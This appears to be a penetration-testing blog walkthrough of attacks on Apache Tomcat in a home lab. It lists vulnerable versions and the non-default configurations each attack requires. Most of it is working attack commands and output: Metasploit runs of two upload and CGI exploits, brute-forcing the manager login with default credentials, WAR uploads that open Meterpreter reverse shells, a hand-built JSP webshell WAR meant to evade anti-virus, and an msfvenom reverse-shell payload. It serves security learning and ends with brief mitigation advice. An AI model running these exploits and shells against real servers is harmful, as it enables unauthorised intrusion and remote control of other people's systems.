Exploiting Tomcat

Apache Tomcat, often referred to simply as Tomcat, is an open-source web server and servlet container developed by the Apache Software Foundation. This article is looking at the known vulnerabilities in Tomcat, and how to exploit them.

If you would like to test these vulnerabilities in a lab environment, old versions of Tomcat are available here;

https://archive.apache.org/dist/tomcat

Looking in Metasploit, we can see the following exploits are available.

msf6 > grep -v DoS grep -v local   search type:exploit name:tomcat

Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
   0  exploit/windows/http/tomcat_cgi_cmdlineargs          2019-04-10       excellent  Yes    Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
   1  exploit/multi/http/tomcat_mgr_deploy                 2009-11-09       excellent  Yes    Apache Tomcat Manager Application Deployer Authenticated Code Execution
   2  exploit/multi/http/tomcat_mgr_upload                 2009-11-09       excellent  Yes    Apache Tomcat Manager Authenticated Upload Code Execution
   5  exploit/multi/http/tomcat_jsp_upload_bypass          2017-10-03       excellent  Yes    Tomcat RCE via JSP Upload Bypass


CVE-2017-12617: tomcat_jsp_upload_bypass

This vulnerability exists in the following Tomcat versions:

  • 9.0.0.M1 to 9.0.0
  • 8.5.0 to 8.5.22
  • 8.0.0.RC1 to 8.0.46
  • 7.0.0 to 7.0.81

In addition to having a vulnerable version of Tomcat, the readonly configuration parameter in web.xml needs to be set to false. This allows HTTP PUT requests to be used which are leveraged as part of the vulnerability.

    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

Testing this against Tomcat version 8.0.24, we can see we get a shell using Metasploit;

msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > show options

Module options (exploit/multi/http/tomcat_jsp_upload_bypass):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.1.212    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasp
                                         loit/basics/using-metasploit.html
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI path of the Tomcat installation
   VHOST                       no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.210    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > run

[*] Started reverse TCP handler on 192.168.1.210:4444 
[*] Uploading payload...
[*] Payload executed!
[*] Command shell session 2 opened (192.168.1.210:4444 -> 192.168.1.212:49948) at 2024-02-10 14:11:29 +0000


Shell Banner:
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\Apache Software Foundation\Tomcat 8.0>


CVE-2019-0232: tomcat_cgi_cmdlineargs

This vulnerability exists in the following Tomcat versions;

  • 9.0.0.M1 to 9.0.17
  • 8.5.0 to 8.5.39
  • 7.0.0 to 7.0.93

The vulnerability is related to the way the Tomcat AJP (Apache JServ Protocol) connector handles certain HTTP requests. The AJP connector is often used to facilitate communication between a web server, like Apache HTTP Server, and the Tomcat servlet container.

This testing is performed against version 9.0.17. This requires a number of non-default settings.

In WEB.XML add the following;

<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
  <param-name>cgiPathPrefix</param-name>
  <param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
  <param-name>executable</param-name>
  <param-value></param-value>
</init-param>
<init-param>
  <param-name>enableCmdLineArguments</param-name>
  <param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

In conf\context.xml change the line:

<Context>

to

<Context privileged="true">

Create the following file: C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi\bordergate.bat

@echo off
echo Content-Type: text/plain
echo.
echo Hello, World!

Exploit using the Metasploit tomcat_cgi_cmdlineargs module:

use windows/http/tomcat_cgi_cmdlineargs
set RHOSTS 192.168.1.212
set TARGETURI /cgi/bordergate.bat
run
[*] Command Stager progress -   6.95% done (6999/100668 bytes)
[*] Command Stager progress -  13.91% done (13998/100668 bytes)
[*] Command Stager progress -  20.86% done (20997/100668 bytes)
[*] Command Stager progress -  27.81% done (27996/100668 bytes)
[*] Command Stager progress -  34.76% done (34995/100668 bytes)
[*] Command Stager progress -  41.72% done (41994/100668 bytes)
[*] Command Stager progress -  48.67% done (48993/100668 bytes)
[*] Command Stager progress -  55.62% done (55992/100668 bytes)
[*] Command Stager progress -  62.57% done (62991/100668 bytes)
[*] Command Stager progress -  69.53% done (69990/100668 bytes)
[*] Command Stager progress -  76.48% done (76989/100668 bytes)
[*] Command Stager progress -  83.43% done (83988/100668 bytes)
[*] Command Stager progress -  90.38% done (90987/100668 bytes)
[*] Command Stager progress -  97.34% done (97986/100668 bytes)
[*] Sending stage (175686 bytes) to 192.168.1.212
[*] Command Stager progress - 100.00% done (100668/100668 bytes)
[!] Make sure to manually cleanup the exe generated by the exploit
[*] Meterpreter session 3 opened (192.168.1.210:4444 -> 192.168.1.212:49853) at 2024-02-10 15:46:07 +0000

War File Upload Exploitation

Being an application server, Tomcat has the ability to host Web Application Resource (WAR) files. A WAR file consists contains all required application resources such as JSP pages, HTML etc.

If we have administrative credentials to either the Tomcat manager web interface, or it’s associated API we can upload malicious code. Metasploit includes a module to brute force common and default credentials, which is shown below.

use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > setg RHOSTS 192.168.1.212
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set STOP_ON_SUCCESS true
[-] 192.168.1.212:8080 - LOGIN FAILED: root:j2deployer (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: root:OvW*busr1 (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: root:kdsxc (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: root:owaspba (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: root:ADMIN (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: root:xampp (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: tomcat:admin (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: tomcat:manager (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: tomcat:role1 (Incorrect)
[-] 192.168.1.212:8080 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.1.212:8080 - Login Successful: tomcat:tomcat

Once we have valid credentials, the tomcat_mgr_deploy or tomcat_mgr_upload Metasploit modules can be used to upload malicious code to the server. Which module we use depends on the roles allocated to the user account.

tomcat_mgr_deploy

This module uses a HTTP POST request to upload a war file. For this to be successful, the target user must have the manager-script role set in tomcat-users.xml

<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<user username="tomcat" password="tomcat" roles="manager-script" />

If Tomcat version 8 and above is being targeted, the PATH variable must be set to /manager/text.

use multi/http/tomcat_mgr_deploy
set RHOSTS 192.168.1.212
set RPORT 8080
set PATH /manager/text
set HttpPassword tomcat
set HttpUsername tomcat
set LHOST eth0
set target 2
set payload windows/meterpreter/reverse_tcp
run


[*] Started reverse TCP handler on 192.168.1.210:4444 
[*] Using manually select target "Windows Universal"
[*] Uploading 52283 bytes as EpUB23D2sELyXVM6uvnOHMlDUT3P.war ...
[*] Executing /EpUB23D2sELyXVM6uvnOHMlDUT3P/3QPnwWloaXbYofmshS5JwMMb4JUe2I3.jsp...
[*] Sending stage (175686 bytes) to 192.168.1.212
[*] Undeploying EpUB23D2sELyXVM6uvnOHMlDUT3P ...
[*] Meterpreter session 1 opened (192.168.1.210:4444 -> 192.168.1.212:49969) at 2024-02-10 14:43:52 +0000
tomcat_mgr_upload

This module uses a HTTP PUT request to upload a war file. For this to be successful, the target user must have the manager-gui role set.

<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<user username="tomcat" password="tomcat" roles="manager-gui" />

We just need to ensure a Windows target and payload is set, as using the default Java target normally fails.

use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.1.212
set RPORT 8080
set PATH /manager/text
set HttpPassword tomcat
set HttpUsername tomcat
set LHOST eth0
set target 1
set payload windows/meterpreter/reverse_tcp
run

[*] Started reverse TCP handler on 192.168.1.210:4444 
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying WjPvCVPcUuCfrG0Ae5FtE3Ll...
[*] Executing WjPvCVPcUuCfrG0Ae5FtE3Ll...
[*] Sending stage (175686 bytes) to 192.168.1.212
[*] Undeploying WjPvCVPcUuCfrG0Ae5FtE3Ll ...
[*] Undeployed at /manager/html/undeploy
[*] Meterpreter session 1 opened (192.168.1.210:4444 -> 192.168.1.212:50150) at 2024-02-10 15:02:49 +0000

Manual Exploitation

If the target host is has Anti-Virus software installed, the above modules will most likely fail. We can create a simple reverse shell to get around this.

Copy a simple JSP webshell to your working directory.

cp /usr/share/webshells/jsp/cmdjsp.jsp cmdjsp.jsp
mkdir WEB-INF

Create a file WEB-INF/web.xml, with the following contents:

<?xml
version="1.0" ?>
<web-app
xmlns="https://java.sun.com/xml/ns/j2ee"
xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="https://java.sun.com/xml/ns/j2ee
https://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>Command</servlet-name>
<jsp-file>/cmdjsp.jsp</jsp-file>
</servlet>
</web-app>

Package up the WAR file using the jar command.

jar cvf cmd.war WEB-INF cmd.jsp               
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
adding: WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: WEB-INF/web.xml(in = 345) (out= 189)(deflated 45%)
adding: cmd.jsp(in = 725) (out= 418)(deflated 42%)

Navigate to the host manager URL (in this case http://192.168.1.212:8080/manager/html) and upload the WAR file we just created.


Navigating to /bordergate/cmdjsp.jsp will then allow us to execute system commands.

MSFVenom can also be used to generate a WAR files.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.131 LPORT=5555 -f war > runme.war

I’ve found when doing this jsp_shell_reverse_tcp is normally reliable, but the other payloads fail for various reasons.

In Conclusion

Tomcat is frequently seen on capture the flag events, often in combination with Local File Inclusion vulnerabilities to assist in remotely enumerating it’s vulnerabilities, and extracting credentials for valid users.

Using an up to date version of Tomcat, disabling the host manager and using complex credentials would mitigate most of these issues.